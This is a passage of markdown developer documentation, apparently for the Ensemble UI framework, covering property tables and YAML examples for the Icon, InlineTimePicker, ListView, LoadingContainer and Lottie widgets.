inside an element, influencing text wrapping, line breaks, and spacing for optimal readability.| -| width | string | Defines the width of an element, offering control over horizontal dimensions and aspect ratios. | -| wordSpacing | string | Adjusts spacing between words in text, providing control over the visual appearance and readability of textual content. | -| lineHeight | string | Sets the height of a line of text, influencing overall vertical spacing and readability within an element. | -| maxLines | string | Limits the number of lines for multiline text, controlling display and preventing excessive expansion of text content. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | -| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | - ---- - -# Icon widget - -The Icon Widget enables easy integration of icons from popular libraries like FontAwesome, allowing for seamless customization and visually appealing designs within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) - - -[List of supported icons](/pages/widgets/icon2.md) - - -## Properties - -| Property | Type | Description | -| :------- | :----- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| icon | string | Icon name from Material Icons or Font Awesome | -| library | [string](/pages/widgets/icon2.md) | Which icon library to use, if there is no value for library then its considered to be default. `fontAwesome` `remix` ( for now only few remix icons are supported but we will support most them soon) You can check list of supported icons [here](/pages/widgets/icon2.md) | -| onTap | action | Call Ensemble's built-in functions or execute code | -| onTapHaptic | enum | The type of haptic to perform when icon is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| color | integer or string | The color of the icon, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| splashColor | integer or string | If onTap is defined, this color will show up as a splash effect upon tapping the icon. Note that the effect only happens if backgroundColor is not set. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer or string | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | -| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# Finding supported icons and their library - -3 icon libaries -Remix, Default, fontAwesome - -## **Remix Library** - -```yaml -- Icon: - name: account_circle_line - library: remix -``` - -See all the Remix Icons from here: [Remix Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=0o5HzVJWvnkAGxlZtCcV&showAction=false&devicePreview=true&instantPreview=true) - -| Icon Name | -| -------------------- | -| account_circle_line | -| add_circle_line | -| arrow_down_s_line | -| verified_badge_fill | -| verified_badge_line | - - - -## **Default Library** - -Specifying the library is not required when using default. - -```yaml -- Icon: - name: alarm - library: default -``` - -See all the default Icons from here: [Material Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=zZMFKXg1UAOaIGPJ2Y5S&showAction=false&devicePreview=true&instantPreview=true) - -| Icon Name | -|---------------------------| -| ac_unit | -| access_alarm | -| access_alarms | -| access_time | -| accessibility | -| accessibility_new | -| accessible | - -## **Font Awesome library** -[Find supported images here!](https://fontawesome.com/search) -```yaml -- Text: - text: Example 2 using FontAwesome -- Icon: - name: coffee - library: fontAwesome - styles: - color: red -``` - -See all the FontAwesome Icons from here: [FontAwesome Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=SfR9shrC1lvBM1Lxvoss&showAction=false&devicePreview=true&instantPreview=true) - -| Icon Name | -|----------------------------------------| -| fiveHundredPx | -| accessibleIcon | -| accusoft | -| alignCenter | -| airbnb | -| addressBook | -| solidAddressBook | -| addressCard | -| solidAddressCard | -| applePay | - ---- - - -# Image widget - -The Image Widget allows you to render images from a URL or [local assets](#using-local-assets). - -You can manage your assets using Ensemble Studio. [See how](#assets-images-videos-etc) - ---- - -Here's the updated documentation for the `InlineTimePicker` widget with the correct link to the Kitchen Sink: - -# InlineTimePicker Widget - -The InlineTimePicker widget provides an intuitive, iOS-style time selection interface that allows users to select hours, minutes, and optionally seconds, all within the same view. It is designed to offer a smooth and customizable time-picking experience directly within the interface, without the need for opening a dialog. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HGdWHF4G23mpkHBV8o3F) - -## Key Concepts - -- **mode**: Defines the format of the time picker. You can choose between hours and minutes (`hm`), minutes and seconds (`ms`), or hours, minutes, and seconds (`hms`). -- **selectedTime**: Retrieves the current selected time as a formatted string, including hours, minutes, and seconds if applicable. -- **onTimeChanged**: Executes an action when the selected time is changed by the user. This allows developers to perform tasks such as updating other parts of the UI or triggering business logic. -- **minuteInterval**: Sets the interval for minute selection, allowing for customization of the granularity of minute steps. -- **secondInterval**: Sets the interval for second selection, providing control over how precisely seconds can be selected. -- **onTimeChangedHaptic**: Allows the addition of haptic feedback when the time is changed, enhancing the tactile interaction experience for users. -- **initialTime**: Specifies the initial time that the picker will display when it is first rendered. - -## Example - -Here’s an example of how to use the InlineTimePicker widget in a YAML configuration: - -```yaml -View: - header: - title: InlineTimePicker - styles: - scrollableView: true - body: - Column: - children: - - InlineTimePicker: - id: timePicker - initialTime: "11:44" - mode: hms - showHourLabel: false - - - Button: - label: Get Time - onTap: | - //@code - console.log(timePicker.selectedTime); -``` - -In this example: -- The `InlineTimePicker` is configured to use the `hms` mode, which allows the selection of hours, minutes, and seconds. -- The `initialTime` is set to `"11:44"`, which is the time the picker will display when first rendered. -- The `showHourLabel` is set to `false`, hiding the hour label from the picker. -- The button logs the selected time in the format `hh:mm:ss a` to the console when pressed. - -## Reference -#### Properties - -| Property | Type | Description | -| :------------------ |:---------------------------------------|:----------------------------------------------------------------------------------------------------------| -| mode | enum | Defines the format of the time picker. Options are `hm` (hours and minutes), `ms` (minutes and seconds), or `hms` (hours, minutes, and seconds). | -| selectedTime | string | Returns the selected time as a formatted string, including hours, minutes, and seconds if the `hms` mode is used. | -| onTimeChanged | action | Executes a specified action whenever the time selection changes. | -| minuteInterval | int | Sets the interval for minute selection (e.g., 1, 5, 10). This determines the steps in which minutes can be selected. | -| secondInterval | int | Sets the interval for second selection (e.g., 1, 10, 15). This determines the steps in which seconds can be selected. | -| onTimeChangedHaptic | string | Adds haptic feedback when the time is changed, providing a tactile response for the user. | -| initialTime | string | Sets the initial time displayed by the picker when it is first rendered (formatted as `HH:mm`). | -| showHourLabel | bool | Controls whether the hour label is displayed in the time picker. | - -## Example Usage -This widget is ideal for scenarios where you want users to pick a specific time within the app, without having to open a new screen or dialog. It is particularly useful in settings such as alarm clocks, event schedulers, or any application that requires precise time input. - -### Mode Examples -- **hm (Hours and Minutes)**: Useful for scenarios where second precision is not required, such as setting a meeting time. -- **ms (Minutes and Seconds)**: Ideal for countdowns or timers. -- **hms (Hours, Minutes, and Seconds)**: Provides the full range of time selection, perfect for more detailed scheduling needs. - -By customizing the `minuteInterval` and `secondInterval`, developers can control how fine-grained the time selection is, ensuring that users can quickly and accurately select the desired time. - -This widget can be fully integrated with other actions and components in your app, offering flexibility and ease of use in time-based interactions. - ---- - -# ListView - -The ListView Widget enables the rendering of lists with dynamic and scrollable content, facilitating efficient display and navigation of large datasets within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) - -## Properties - -| Property | Type | Description | -| :---------------- | :------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of widgets | -| onItemTap | action | Dispatch when an ListView item is selected/tapped.The event dispatches only when you tap on the item. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above| -| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| selectedItemIndex | integer | Selecting a ListView item gives the index of selected item | -| onSwipeToRefresh | action | Enable swipe to refresh. This will trigger onRefresh action if enabled | -| nestedScroll | boolean | Enable ScrollView synchronization with ListView if enabled. | -| shrinkWrap | boolean | ListView will be scrollable even inside ScrollView but with it's own scrollController if enabled. | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| showSeparator | boolean | Show a separator between the items (default is true). | -| separatorColor | integer or string | Set the color for the separator between items, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| separatorWidth | integer | The thickness of the separator between items | -| separatorPadding | string or integer | Padding with CSS-style value e.g. padding: 5 20 5 Default 0 0 0 | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | -| gap | integer | The gap between the children in the main direction | - ---- - -# LoadingContainer Widget - -The LoadingContainer widget is designed to simplify the process of displaying a loading indicator while content is being fetched or processed. It provides a convenient abstraction layer for managing loading states in your app, allowing developers to easily toggle between the loading state and the state where content is available. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) - -## Key Concepts - -- **loadingWidget**: Specify a widget to display while loading content. This can point to a custom widget, such as a column of shapes to represent what the loaded content might look like. -- **widget**: This is the widget to display when content is available. -- **isLoading**: This is typically an expression that returns true or false. When true, the `loadingWidget` is displayed. When false, the `widget` will display. -- **useShimmer**: Enables a shining animation to indicate that the content is loading. The animation can be over a default shimmer or the loadingWidget if specified. -- **shimmerOptions**: A nested object to customize the shimmer effect, including gradient colors, stops, and animation range. - -## Example - -Typically LoadingContainer is used in combination with an API call so that you can show a loading state while waiting for the API to respond. - -```yaml -View: - header: - title: "API: Handle loading state" - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Invoke API - onTap: - executeActionGroup: - actions: - - invokeAPI: - name: getData - - executeCode: - body: | - content.visible = true - - - LoadingContainer: - id: content - visible: false - isLoading: ${ getData.isLoading } - widget: - Text: - text: Data is ready - loadingWidget: - Shape: - type: rectangle - styles: - backgroundColor: grey - width: ${ device.width } - borderRadius: 8 - height: 100 - useShimmer: true - shimmerProperties: - gradientColors: - - 0xFFFF5733 - - 0xFF33FF57 - - 0xFF3357FF - gradientStops: - - 0.0 - - 0.5 - - 1.0 - min: -0.5 - max: 1.5 - -API: - getData: - method: GET - url: https://httpbin.org/delay/10 -``` - -## Reference -#### Properties - -| Property | Type | Description | -| :------------ |:---------------------------------------|:--------------------------------------------------------| -| isLoading | bool | Whether to display a loading widget. The default will be empty (without shimmer) or a default loading shimmer, unless a loadingWidget is specified. | -| useShimmer | bool | A shining animation to designate that the content is loading. The animation can be over a defaults shimmer or the loadingWidget if specified. | -| loadingWidget | object | The widget to render during the loading state (i.e. while isLoading is true). -| widget | object | The widget to render as the content of this container. | -| shimmerOptions | object | A nested object to customize the shimmer effect. Includes the following sub-properties: | - -#### shimmerOptions -| Property | Type | Description | -| :--------------- |:-----------|:----------------------------------------------------------------------------------------------------------------| -| gradientColors | list | A list of colors to be used in the shimmer effect's gradient. | -| gradientStops | list | A list of stops that define the position of each color in the shimmer effect's gradient. | -| min | double | The minimum value for the shimmer animation's range. | -| max | double | The maximum value for the shimmer animation's range. | -| shimmerSpeed | int | The speed of the shimmer animation in milliseconds. | -| shimmerEffect | enum | The direction of the shimmer effect. Options are `horizontal`, `vertical`, or `diagonal`. | -| padding | double | The padding around the shimmer effect. | -| tileMode | enum | The tileMode property in a gradient determines how the gradient repeats or extends beyond its original bounds, offering options like `clamp`, `mirror`, and `repeated` to control the visual effect. | - ---- - -# Lottie Animation widget - -The Lottie Render Widget allows you to effortlessly render Lottie animation files, bringing life and motion to your application with smooth and captivating visual effects. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) - -### NOTE -__NOTE:__ *onTap* property works only for native apps (iOS and Android) and web apps. onTap will not work when the web app is compiled with the [HTML renderer](https://docs.flutter.dev/platform-integration/web/renderers) option (i.e. --web-renderer html). Ensemble Studio is compiled with HTML renderer option so the onTap will not work on the studio. However, it should work fine for Ensemble Go (iOS) and Ensemble Preview (Android). - -## Properties - -| Property | Type | Description | -| :------- | :----- | :---------------------------------------- | -| source | string | URL or asset name of the Lottie json file | -| styles | object | [See properties](#styles) | -| onForward | action | Callback which is fired when the animation starts playing in the forward direction | -| onReverse | action | Callback which is fired when the animation starts playing in the reverse direction | -| onComplete | action | Callback which is fired when the animation is completed | -| [onTap](#note) | action | Run a block of code or execute a given action when there is a tap event on lottie widget | -| onStop | action | Callback which is fired when the animation is stopped. This is fired only when animation is stopped or aborted in between. | -| autoPlay | boolean | Whether to automatically start the animation in the forward direction (default true) | -| repeat | boolean | Whether we should repeat the animation (default true) | -| onTapHaptic | enum | The type of haptic to perform when lottie is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| fit | string | How to fit the Lottie animation within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | 